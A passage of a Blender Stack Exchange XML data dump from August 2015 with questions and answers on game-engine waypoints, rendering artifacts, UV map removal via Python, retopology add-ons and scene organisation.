here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you have your own version of the vehicle. Just ensure it turns and moves forward all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the vehicle detectable add a property &lt;code&gt;car&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lSR9W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lSR9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The type does not matter. It has no further purpose. It just should exist at the vehicle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Waypoint jumper&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need an object that can detect the vehicle from a certain distance. I suggest to use a mesh object that detects collisions with the vehicle. A plane or circle should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v2tNt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v2tNt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid stopping the vehicle the object gets Physics type &lt;code&gt;Sensor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uHk7o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uHk7o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have the object you can define the waypoints. Create an action with location keyframes at subsequent frames (1,2,3,4...). You do not need fine granularity. Just ensure the direct line between waypoints is not blocked and there is enough space for turns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LggLe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LggLe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jumper should know what the current waypoint is. We store it as property 'frame' a whole number, starting with the first frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PkIsc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PkIsc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we play the current waypoint position. We do not need to do that all the time - only on startup or when the waypoint changes. We let the waypoint jumper play the pose according given by the property &lt;code&gt;frame&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UtQ1Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UtQ1Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the car comes near  we switch to the next frame. If the car happens when it collides with the mesh. We filter collisions by property &lt;code&gt;car&lt;/code&gt;, to exclude any accidental collisions with other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/98rpU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/98rpU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can start your game engine and watch your vehicle follow the carrot ... waypoint jumper.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-27T10:26:40.027" LastActivityDate="2015-08-27T10:26:40.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36527" PostTypeId="1" CreationDate="2015-08-27T09:40:02.637" Score="2" ViewCount="22" Body="&lt;p&gt;After my main character is hit by the bad guy with ammunition, my charcter is going a lot backward. What can I do to make it go back just a little  and then come back to his place where he was hit.&lt;/p&gt;&#xA;" OwnerUserId="16727" LastActivityDate="2015-08-27T09:40:02.637" Title="How can I make the character not going backward after collison with a bad's guy ammuntion?" Tags="&lt;motion-capture&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36528" PostTypeId="2" ParentId="36523" CreationDate="2015-08-27T09:44:17.713" Score="4" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; this is what you mean, but &lt;code&gt;data.uv_layers&lt;/code&gt; doesn't provide that functionality. &lt;code&gt;uv_textures&lt;/code&gt; does. If you hover over the UVMap menu item in UV Maps it's a &lt;code&gt;uv_texture&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oRQru.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oRQru.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;uv_textures = bpy.data.objects['Suzanne'].data.uv_textures&#xA;uv_textures.remove(uv_textures['UVMap'])&#xA;# uv_textures.remove(uv_textures['UVMap.001'])&#xA;# uv_textures.remove(uv_textures[0])   or by uv index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;selection = bpy.context.selected_objects&#xA;&#xA;for obj in selection:&#xA;    uv_textures = obj.data.uv_textures&#xA;    uv_textures.remove(uv_textures[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-27T09:52:25.360" LastActivityDate="2015-08-27T09:52:25.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36529" PostTypeId="1" CreationDate="2015-08-27T10:45:51.393" Score="9" ViewCount="257" Body="&lt;p&gt;I'm creating an animation for a client and am getting rectangle shaped glitches in my renders when motion blur is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried fiddling with various settings to no avail.&#xA;Any suggestions ( not using motion blur is not an answer BTW! )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bc8hX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bc8hX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="3078" LastEditDate="2016-04-23T16:38:27.973" LastActivityDate="2016-12-21T12:11:10.250" Title="Why are there rectangle shaped glitches when using motion blur problem in Cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2016-12-21T12:40:17.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="36530" PostTypeId="2" ParentId="36522" CreationDate="2015-08-27T11:17:12.297" Score="1" Body="&lt;p&gt;You can filter the collision evaluation &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;by Property (M/P disabled Property: contains a property name)&lt;/li&gt;&#xA;&lt;li&gt;by Material (M/P enabled Material: contains a material name)&lt;/li&gt;&#xA;&lt;li&gt;no Filter at all (all other cases).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GqhVt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GqhVt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware - the other participant of the collision needs to have the property/material.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-27T11:17:12.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36531" PostTypeId="2" ParentId="36525" CreationDate="2015-08-27T11:22:38.940" Score="21" Body="&lt;p&gt;Here are some wonderful tools for speeding up the retopology process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;polystrips (&lt;a href=&quot;https://www.youtube.com/watch?v=VN1aC7DsS6A&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=VN1aC7DsS6A&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;contours (&lt;a href=&quot;https://www.youtube.com/watch?v=5RR06wjt2rs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=5RR06wjt2rs&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are paid, but worth every penny as they're really time-saving tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to buy them you may do a fast retopology using a &lt;strong&gt;&lt;em&gt;Bsurfaces addon&lt;/em&gt;&lt;/strong&gt;. Go to &lt;em&gt;User Preferences&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;--&gt;Add-ons&lt;/em&gt;) and enable it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ho8Ay.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ho8Ay.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an object you want to retopologize, then add a &lt;em&gt;Plane&lt;/em&gt; (or any other object you like), enter the &lt;em&gt;Edit Mode&lt;/em&gt; and delete it (&lt;kbd&gt;x&lt;/kbd&gt;). In the &lt;em&gt;Properties Panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) add a new &lt;strong&gt;&lt;em&gt;Grease Pencil&lt;/em&gt;&lt;/strong&gt; layer, then go to the &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;)&lt;em&gt;--&gt;Grease Pencil&lt;/em&gt; and change a stroke placement to &lt;strong&gt;&lt;em&gt;Surface&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SItsR.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SItsR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the &lt;em&gt;Tool&lt;/em&gt; bookmark in a &lt;em&gt;Tool Shelf&lt;/em&gt;. Draw some strokes on an object (hold &lt;kbd&gt;D&lt;/kbd&gt;, then press LMB [ &lt;a href=&quot;https://blender.stackexchange.com/questions/35296/how-to-draw-grease-pencil-on-a-surface-blender-2-75&quot;&gt;How to draw grease pencil on a surface (blender 2,75)?&lt;/a&gt; ]). When finished, click on &lt;strong&gt;&lt;em&gt;Add Surface&lt;/em&gt;&lt;/strong&gt; in Bsurface panel. Change the settings below as you like.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ixmaM.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixmaM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-08-27T13:04:35.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36532" PostTypeId="1" CreationDate="2015-08-27T11:39:03.790" Score="2" ViewCount="78" Body="&lt;p&gt;Just when I went to &lt;strong&gt;Material&lt;/strong&gt; mode to check if my textures were fine, half of my mesh seemed to disapear and once selceted the mesh, the half disapeard looked like in Wireframe view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GxWKa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GxWKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing in the Properties Panel and in Camera settings the Clipping End value but it doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0TrZP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0TrZP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;By the way this happens when I am looking through the Camera and when I am just in 3D view, and also the problem &lt;strong&gt;don't&lt;/strong&gt; appear in Solid / Texture / Render mode.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. There are no Modifiers on them, and this is happening in Cycles Render.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Alright guys the problem got fixed by itself after I restarted the file&lt;/h1&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-27T20:08:48.480" LastActivityDate="2015-08-27T20:08:48.480" Title="Mesh Disapearance in Material mode" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36533" PostTypeId="1" AcceptedAnswerId="36535" CreationDate="2015-08-27T11:44:55.663" Score="20" ViewCount="7660" Body="&lt;p&gt;When making complex scenes there should be some kind of &quot;folders&quot; (i.e. like in Adobe Photoshop, layer management) in scene outliner, that can group objects together - but this feature seems not present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some addon or way to manage scene &quot;like a pro&quot;? I find groups very unfriendly and object parenting is somehow useful, but not quite good in my opinion for right scene organisation.&lt;/p&gt;&#xA;" OwnerUserId="452" LastEditorUserId="15366" LastEditDate="2015-08-27T13:07:58.983" LastActivityDate="2015-08-27T15:26:49.503" Title="How to easily organise your Blender scene?" Tags="&lt;scene&gt;&lt;groups&gt;&lt;parent&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36535" PostTypeId="2" ParentId="36533" CreationDate="2015-08-27T12:12:22.497" Score="18" Body="&lt;p&gt;For a better &lt;strong&gt;scene organization&lt;/strong&gt; I'd suggest use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/layer_manager&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;layer management addon&lt;/a&gt;&lt;/strong&gt;, which is shipped with blender by default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0DBs5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In addition, the &lt;em&gt;Outliner&lt;/em&gt; provides some functionality to &lt;strong&gt;display the desired data types&lt;/strong&gt; like &lt;em&gt;Groups&lt;/em&gt;, &lt;em&gt;Same Objects&lt;/em&gt;, &lt;em&gt;Selected Objects&lt;/em&gt; etc.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ACKPN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACKPN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-08-27T15:26:49.503" LastActivityDate="2015-08-27T15:26:49.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36537" PostTypeId="1" AcceptedAnswerId="36538" CreationDate="2015-08-27T12:41:33.133" Score="2" ViewCount="656" Body="&lt;p&gt;I've used a spot-lamp as the only light source (the fire doesn't spread any light). Also, the problem shouldn't occur in the textures because i already checked it in different angles. If i look at it at the front of this &quot;stair&quot; the black/dark border disappeared. What is exactly the problem and how can i fix this? I've exported this world using jMc2Obj.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following pictures may be of importance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YBOFx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBOFx.png&quot; alt=&quot;problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material of the stairs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tznmE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tznmE.png&quot; alt=&quot;material of the stairs&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Textures of the stairs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ajD8z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajD8z.png&quot; alt=&quot;textures of the stairs&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spotlight:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H6lJw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H6lJw.png&quot; alt=&quot;spot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2015-08-27T13:17:48.537" Title="Why does the Minecraft-texture have black/dark borders in Cycles?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;light&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36538" PostTypeId="2" ParentId="36537" CreationDate="2015-08-27T12:46:37.220" Score="6" Body="&lt;p&gt;The problem is caused by Smooth Shading, to solve that you have to give your stairs model &lt;strong&gt;Edge-Split Modifier.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VY4lb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VY4lb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the ES Modifier&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0Tis0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Tis0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the ES Modifier&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6sFPS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6sFPS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-27T13:17:48.537" LastActivityDate="2015-08-27T13:17:48.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36539" PostTypeId="2" ParentId="18822" CreationDate="2015-08-27T12:48:28.740" Score="0" Body="&lt;p&gt;The problem is probably NOT caused by clipping. I'm pretty sure the origin of the rig in this animation is from a certain key frame not inside the camera angle anymore. So the camera makes the mesh for the rig invisible because it concludes that the rig (or certain bones in the armature) can't be seen anyways from this point of view. Especially for walk animations, try to animate the rig as an object first (location) before creating the walk animation to make sure, that the origin is with your character every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this didn't help or your project is too complex for this, you can also try to add a lattice modifier to the mesh. I'm pretty sure it will solve the problem :)&lt;/p&gt;&#xA;" OwnerUserId="16729" LastEditorUserId="16729" LastEditDate="2015-08-27T14:15:12.687" LastActivityDate="2015-08-27T14:15:12.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36540" PostTypeId="2" ParentId="36532" CreationDate="2015-08-27T13:24:59.613" Score="2" Body="&lt;p&gt;Make sure that the maximum draw type is set to textured and not Wireframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/CtLWw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jbDZP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbDZP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-27T13:24:59.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36542" PostTypeId="1" CreationDate="2015-08-27T16:00:41.477" Score="3" ViewCount="574" Body="&lt;p&gt;I just started looking into particles with Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with the concept (I also work with particles inside Unreal Engine), and experimented already with force fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is some kind of &quot;static particle system&quot;, where I just need to render one image that later I will simply put over a photo with Gimp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm looking for something like this: &lt;a href=&quot;http://www.4rand.com/TEST/Krakatoa/TurbSpawn/furball100m4k.png&quot; rel=&quot;nofollow&quot;&gt;http://www.4rand.com/TEST/Krakatoa/TurbSpawn/furball100m4k.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve a similar result with Blender? Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="16730" LastActivityDate="2015-08-27T17:34:46.037" Title="Question about particle systems (&quot;static particles&quot;)" Tags="&lt;rendering&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36543" PostTypeId="2" ParentId="36542" CreationDate="2015-08-27T16:23:10.353" Score="1" Body="&lt;p&gt;Is it possible to achieve a similar result with Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes. Absolutely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows is a sloppy facsimile to demonstrate technique not artistry.  You are the artist.  The background use is black for legibility.  I have no idea of your future background.  Blender Render not Cycles.  No lights. Emission material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3jtvX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3jtvX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wrote&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;over a photo with Gimp&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your writing seems to imply you want a transparent background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any single or range of frames can be rendered and saved to disk with a transparent background.&lt;br&gt;&#xA;PNG format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you state you only want one image and not a sequence that can be critiqued as a moving image you might just need a circle or sphere mesh and generate particles or spherical texture for density.  Forces are convenient.  The movement or location might come from the [normal velocity] of the Blender Particles System.  Color and Blur if that suits you in the Compositor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particles themselves can be group of mesh objects or PNG bill board images.  You can also generate all particles in 1 or 2 frames and by the 3 frame the image is static if there are not forces, normal velocity, gravity or similar.  Splurge and generate a few hundred images and pick the one you want. Since the shape is generally circular spherical you can layer PNGS with rotation for increased density.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not value your originality, and the mentioned image is intended for sharing you could  you can also remove the background from the image.  GIMP or Blender Compositor.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-27T17:34:46.037" LastActivityDate="2015-08-27T17:34:46.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36544" PostTypeId="1" CreationDate="2015-08-27T16:36:56.357" Score="2" ViewCount="182" Body="&lt;p&gt;I'm new to Blender (but I've known Maya for years), and any help y'all can offer would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem similar to the ones in these posts, but the solutions offered there haven't solved my problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?313785-Weird-shading-bug-and-rough-render-%28CYCLES%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;[SOLVED] Weird shading bug and rough render &amp;#40;CYCLES&amp;#41;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19091/shader-artifacts-rendering-in-some-spots-of-the-mesh&quot;&gt;Shader artifacts rendering in some spots of the mesh&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm working with this model that my company bought for a project:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://turbosquid.com/3d-models/3ds-max-kitchen-scene-set/669863&quot; rel=&quot;nofollow noreferrer&quot;&gt;Full Kitchen Scene 3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The mesh seems to be generated with a CAD program. It's not pretty; lots of long skinny triangles and whatnot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll focus on one example of the artifacts I'm getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I mean about ugly geometry:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2S8ns.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2S8ns.jpg&quot; alt=&quot;ugly geometry shown in edit mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render it with Cycles, it has dark areas:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rYZDC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rYZDC.png&quot; alt=&quot;ugly geometry rendered darkly by Cycles&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh is ugly, but the normals are all pointing out and I've removed duplicate vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this before? I could really use a hand!&lt;/p&gt;&#xA;" OwnerUserId="16731" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-27T19:52:33.077" Title="Dark artifacts when rendering CAD-type model" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36545" PostTypeId="2" ParentId="36532" CreationDate="2015-08-27T16:38:17.707" Score="1" Body="&lt;p&gt;When a camera is inside of a model it can do this. Try moving the camera backwards.&lt;/p&gt;&#xA;" OwnerUserId="11237" LastActivityDate="2015-08-27T16:38:17.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36546" PostTypeId="1" AcceptedAnswerId="36556" CreationDate="2015-08-27T16:56:28.090" Score="1" ViewCount="86" Body="&lt;p&gt;I'm trying to create a truncated cube. However when I switch to edit mode, the original cube remains and I'm only able to select it's faces, instead of my truncated one. How do I remove this frame?&lt;a href=&quot;https://i.stack.imgur.com/YPDgu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YPDgu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16732" LastActivityDate="2015-08-27T21:49:55.547" Title="Remove frame in edit mode" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
